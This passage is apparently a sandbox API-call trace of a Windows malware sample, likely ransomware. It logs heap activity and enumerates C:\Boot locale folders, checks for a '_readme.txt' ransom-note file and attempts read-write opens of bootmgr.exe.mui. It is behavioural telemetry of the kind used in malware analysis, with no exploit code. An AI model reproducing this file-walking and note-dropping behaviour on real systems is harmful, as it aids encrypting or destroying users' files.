hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.895] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0066.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.895] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.895] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.895] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.895] PathFindFileNameW (pszPath="") returned="" [0066.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.895] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.895] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.895] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.896] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.896] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x32476f0 [0066.896] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.896] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0066.896] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.896] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.897] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.897] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.897] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.897] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.897] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.897] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0066.897] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.897] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.897] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33a2f50, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.897] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.897] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.897] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.897] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned=".txt" [0066.897] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.897] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33a2f50, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.897] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.897] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.897] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.897] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.897] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.898] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.898] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.898] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.898] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.898] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.898] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.898] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0066.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.898] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.898] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.898] PathFindFileNameW (pszPath="") returned="" [0066.898] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.898] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.899] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.899] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.899] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.899] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.899] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0066.899] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.900] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.900] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.900] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.900] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0066.900] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.900] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33c90b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.900] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.900] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned=".txt" [0066.900] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33c90b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.900] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.901] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.901] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.901] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.901] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.902] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 